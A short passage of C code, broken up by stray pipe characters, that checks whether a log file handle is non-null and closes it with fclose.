if (logFile != NULL)
|
|
{
|
|
fclose(logFile);
|
|
}
|
|
}
|